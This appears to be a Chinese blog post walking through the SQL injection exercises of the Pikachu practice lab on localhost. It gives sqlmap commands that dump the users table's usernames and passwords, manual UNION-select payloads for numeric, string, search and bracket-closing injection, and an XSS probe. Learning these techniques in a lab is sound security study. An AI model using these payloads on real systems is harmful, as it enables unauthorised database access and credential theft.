SQL注入

概述

数据库注入漏洞
SQL注入漏洞形成原因:在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到sql语句中后,被当作sql语句的一部分执行,从而导致数据库受损(被脱库、被删除、甚至整个服务器权限沦陷)
防止SQL注入漏洞的策略:
1、对传进SQL语句里面的变量进行过滤,不允许危险字符传入
2、使用参数化(Parameterized Query 或 Parameterized Statement)

数字型注入

题:
题1
随便提交,抓包可知,是post方式提交的参数为id=2&submit=%E6%9F%A5%E8%AF%A2
使用sqlmap跑post方式时的格式为:
python2 sqlmap.py -u "<url>" --data="<post提交的参数>" -<参数>
1、使用sqlmap跑数据库
python2 sqlmap.py -u "http://localhost/pikachu/vul/sqli/sqli_id.php" --data="id=2&submit=%E6%9F%A5%E8%AF%A2" -f --dbms mysql --dbs --batch
注释:

  • --dbms探测数据库是什么 --dbms mysql指定数据库类型为mysql数据库
  • --dbs当用户有权读取时,列出所有的数据库
  • --batch 该参数使用后不需要用户输入,将会使用sqlmap给的默认提示走下去
    2

2、查数据库pikachu下的表
python2 sqlmap.py -u "http://localhost/pikachu/vul/sqli/sqli_id.php" --data="id=2&submit=%E6%9F%A5%E8%AF%A2" -f --dbms mysql -D pikachu --tables --batch
注释:

  • -D pikachu 指定数据库pikachu
  • --tables当有权限读取pikachu数据库中的表tables时,读取出表
    3

3、获取表users中的列
python2 sqlmap.py -u "http://localhost/pikachu/vul/sqli/sqli_id.php" --data="id=2&submit=%E6%9F%A5%E8%AF%A2" -f --dbms mysql -D pikachu -T users --columns --batch
注释:

  • -T users指定表明users
  • --colmns 当有权限读取表users中的列的时候读取表users中的列。
    4

4、获取列username和password中的字段内容
python2 sqlmap.py -u "http://localhost/pikachu/vul/sqli/sqli_id.php" --data="id=2&submit=%E6%9F%A5%E8%AF%A2" -f --dbms mysql -D pikachu -T users -C username,password --dump --batch
注释:

  • -C username,password 指定读取列username和password中的字段内容
  • --dump 抛出前面指定内容
    5

手工注入

1、提交,抓包
2、提交恒等语句可以查询到所有的数据信息
5

字符型注入

题:
1
GET方法取表,抓包:
1

参数返回:GET /pikachu/vul/sqli/sqli_str.php?name=&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
使用sqlmap跑:
1、查数据库
python2 sqlmap.py -u "http://localhost/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql --dbs --batch
1

2、查表
python2 sqlmap.py -u "http://localhost/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -D pikachu --tables --batch
1

3、查列
python2 sqlmap.py -u "http://localhost/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -D pikachu -T users --columns --batch
1

4、查字段
python2 sqlmap.py -u "http://localhost/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -D pikachu -T users -C username,password --dump --batch
1

搜索型注入

为方便用户,提供搜索功能,但是因为没对变量过滤,导致漏洞,分为post get,get型一般用在网站上的搜索,post用于用户名登录,搜索型注入又称文本框注入

原理

$sql="select * from user where password like '%$pwd%' order by password";
%匹配任何字符,这句sql语句就是基于用户输入的pws在users表中找到相应的password。
如果用户端输入:and 1=1 and '%'=
则会变成:
$sql="select * from user where password like '%fendo'and 1=1 and '%'='%' order by password";
存在sql注入。

1
输入一个单引号’
1
报错,因为单引号导致语句%'没闭合。
输入'and 1=1 and '%'=',此时语句变为:
'%' and 1=1 and '%'='%' order by password
1
还可以:

  • %' and 1=1--'
  • ' and 1=1#
  • %' and 1=1 and '%'='
    可输入' and 1=1 order by x#通过order by x 确定字段数,输入' and 1=1 order by 3#返回正常页面
    输入order by 4#返回报错,说明字段数为3.
    输入%' and 1=2 union select 1,2,3#
    1
    (1)1,2,3都可以回显,输入%' and 1=2 union select 1,2,(database())#可爆出当前使用数据库pikachu
    (2)输入%' and 1=2 union select 1,2,table_name from information_schema.columns where table_schema='pikachu'#得到pikachu数据库下所有表名。
    (3)选择users表,输入%' and 1=2 union select 1,2,column_name from information_schema.columns where table_name='users'#得到users表下的所有字段名
    (4)输入%' and 1=2 union select 1,2,username from pikachu.users#
    (顶多跟着网上教程做了一遍,挺懵逼的其实。–2020.1.7)

xx型注入

xx型注入是什么鬼,看到提示笑死
1
随便输入字符抓个包,是GET型请求,输入特殊字符'"<>666,回显报错.
尝试闭合一下:#'> <script>alert("XSS")</script>
哎嗨!成功弹出xss,我真是进步了。
差点忘记这是sql注入了,输入一下万能恒等式:' and 1=1 '%'='
回显报错,有戏,但是接下来要怎么构造呢?我先看一下前端代码吧。这是从url那个name去获取到输入的,前端代码没啥用,我去看一下后台吧。1
应该是这里了,分析一下,没看懂,注意到那个$query后面的一串字符串,尝试了几个,失败,果断不浪费时间找wp吧。

1、传输方式为get,传输参数为name=a&submit=%E6%9F%A5%E8%AF%A
2、测试使其闭合的符号:’ " <>& --+
单引号会报错,初步推测使用单引号使其闭合
3、
利用联合查询: a') union select 1,2#
爆出数据库名字:a') union select database(),2 #
爆出users:a') union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' #
查列:a') union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
查字段:a') union select 1,concat(username,password) from pikachu.users #
1

"insert/update"注入

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值